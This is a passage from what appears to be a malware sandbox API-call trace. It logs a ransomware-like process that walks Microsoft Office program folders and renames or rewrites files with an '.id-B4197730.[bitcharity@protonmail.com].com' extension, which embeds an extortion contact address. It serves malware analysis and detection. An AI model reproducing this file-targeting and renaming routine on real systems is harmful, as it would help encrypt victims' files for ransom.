lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.826] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\Hx.HxT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\help\\hx.hxt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.827] CloseHandle (hObject=0x11bc) returned 1 [0282.828] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.828] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\HxRuntime.HxS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\help\\hxruntime.hxs.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.828] CloseHandle (hObject=0x11bc) returned 1 [0282.828] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\itircl55.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\help\\itircl55.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\itircl55.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\help\\itircl55.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0282.829] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.829] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\Keywords.HxK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\help\\keywords.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.829] CloseHandle (hObject=0x11bc) returned 1 [0282.830] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.830] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\NamedUrls.HxK.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\help\\namedurls.hxk.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.830] CloseHandle (hObject=0x11bc) returned 1 [0282.941] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso40UIwin32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso40uiwin32client.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso40UIwin32client.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso40uiwin32client.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0282.942] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSO99LRES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso99lres.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSO99LRES.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso99lres.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0282.944] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso99Lwin32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso99lwin32client.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso99Lwin32client.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso99lwin32client.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0282.946] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSORES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\msores.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSORES.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\msores.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0282.950] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.950] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MUAUTH.CAB.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\muauth.cab.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.951] CloseHandle (hObject=0x115c) returned 1 [0282.954] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\RICHED20.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\riched20.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\RICHED20.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\riched20.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0282.957] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\WXPNSE.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\wxpnse.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\WXPNSE.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\wxpnse.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0282.958] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.958] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\proof\\mswds_en.lex.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.958] CloseHandle (hObject=0x115c) returned 1 [0282.959] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.959] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\proof\\mswds_es.lex.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.960] CloseHandle (hObject=0x115c) returned 1 [0282.960] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.960] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\proof\\mswds_fr.lex.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.961] CloseHandle (hObject=0x115c) returned 1 [0282.972] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.972] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\AFTRNOON.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\aftrnoon\\aftrnoon.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.972] CloseHandle (hObject=0x115c) returned 1 [0282.973] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.974] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\ARCTIC.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\arctic\\arctic.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.974] CloseHandle (hObject=0x115c) returned 1 [0282.975] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.975] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\AXIS.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\axis\\axis.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.975] CloseHandle (hObject=0x115c) returned 1 [0282.977] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.977] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\BLENDS.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\blends\\blends.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.977] CloseHandle (hObject=0x115c) returned 1 [0282.978] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.978] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\BLUECALM.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\bluecalm\\bluecalm.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.979] CloseHandle (hObject=0x115c) returned 1 [0282.980] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.980] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\BLUEPRNT.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\blueprnt\\blueprnt.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.980] CloseHandle (hObject=0x115c) returned 1 [0283.411] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.411] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\BOLDSTRI.ELM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\boldstri\\boldstri.elm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.411] CloseHandle (hObject=0x115c) returned 1 [0283.785] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBEUIINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\1033\\vbeuiintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBEUIINTL.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\1033\\vbeuiintl.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0283.786] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbe7.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbe7.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0283.786] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbeui.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbeui.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0283.787] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBEUIRES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbeuires.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBEUIRES.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbeuires.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0283.791] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.791] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\BIGFONT.SHX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\bigfont.shx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.791] CloseHandle (hObject=0x11c8) returned 1 [0283.792] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.792] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\CHINESET.SHX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\chineset.shx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.792] CloseHandle (hObject=0x11c8) returned 1 [0283.794] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.794] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\extfont.shx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.794] CloseHandle (hObject=0x11c8) returned 1 [0283.796] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.796] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\gbcbig.shx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.796] CloseHandle (hObject=0x11c8) returned 1 [0283.797] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.797] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\ic-txt.shx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.797] CloseHandle (hObject=0x11c8) returned 1 [0283.798] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.799] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\icad.fmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.799] CloseHandle (hObject=0x11c8) returned 1 [0283.800] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.800] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, 